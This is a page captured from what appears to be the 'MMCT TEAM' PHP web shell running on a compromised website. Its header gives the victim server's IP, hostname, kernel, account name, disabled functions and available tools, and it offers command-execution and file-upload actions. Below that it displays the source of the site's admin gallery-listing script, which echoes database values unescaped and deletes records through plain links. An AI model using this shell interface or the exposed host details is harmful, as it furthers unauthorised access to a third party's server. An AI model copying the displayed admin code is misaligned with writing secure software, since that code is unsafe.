MMCT TEAM
Server IP : 103.212.121.57  /  Your IP : 216.73.216.123
Web Server : LiteSpeed
System : Linux valor.herosite.pro 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
User : araipddz ( 1784)
PHP Version : 8.2.30
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/araipddz/cytelelevators.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/araipddz/cytelelevators.in/admin/data_gallery.php
<?php
include("header.php");
include("aside.php");


include("server.php");
$select = "SELECT * FROM `gallery` WHERE 1";
$query = mysqli_query($connect, $select);
if ($query) {
    echo "success";

}
?>




<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>

    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
    <script src="https://cdn.datatables.net/1.13.5/js/jquery.dataTables.min.js"></script>
    <link rel="stylesheet" href="https://cdn.datatables.net/1.13.5/css/jquery.dataTables.min.css">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">

    <script>
        // downloaded dataTable

        // $(document).ready(function(){
        //     $("#mytable").dataTable(
        //         {
        //             dom:"Bfrtip",
        //             buttons:['copy','csv','excel','pdf','print']
        //         }
        //     )

        // });

        // normal dataTable
        $(document).ready(function () {
            $("#mytable").dataTable();

        });
    </script>
</head>

<body>

</body>

</html>





<div class="container w-100 h-100 mt-5">
    <button> <a class="btn btn-outline-primary" href="add_gallery.php">View Data</a></button>
    <h3 class="text-center">Categories</h3>
    <div class="row">
        <table class="table w-100 " id="mytable">
            <thead>
                <th>No.1</th>
                <th>Gallery</th>
                
                <th>Edit</th>
                <th>Delete</th>
            </thead>
            <tbody class="">
                <?php while ($row = mysqli_fetch_assoc($query)) { ?>
                    <tr>
                        <td>
                            <?php echo $row['id'] ?>
                        </td>
                       
                        <td>
                            <img width="50px" height="50px" src="./gallery/<?php echo $row['gallery'] ?>">
                        </td>
                       
                        <td><button class="btn btn-danger text-white"><a
                                    href="delete_gallery.php?id=<?php echo $row['id'] ?>"
                                    class="text-white">Delete</a></button></td>
                        <td><button class="btn btn-success "><a href="update_gallery.php?id=<?php echo $row['id'] ?>"
                                    class="text-white">Update</a></button></< /td>


                    </tr>
                <?php } ?>


            </tbody>

        </table>

    </div>

</div>









<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"
    integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz"
    crossorigin="anonymous"></script>
</body>

</html>

MMCT - 2023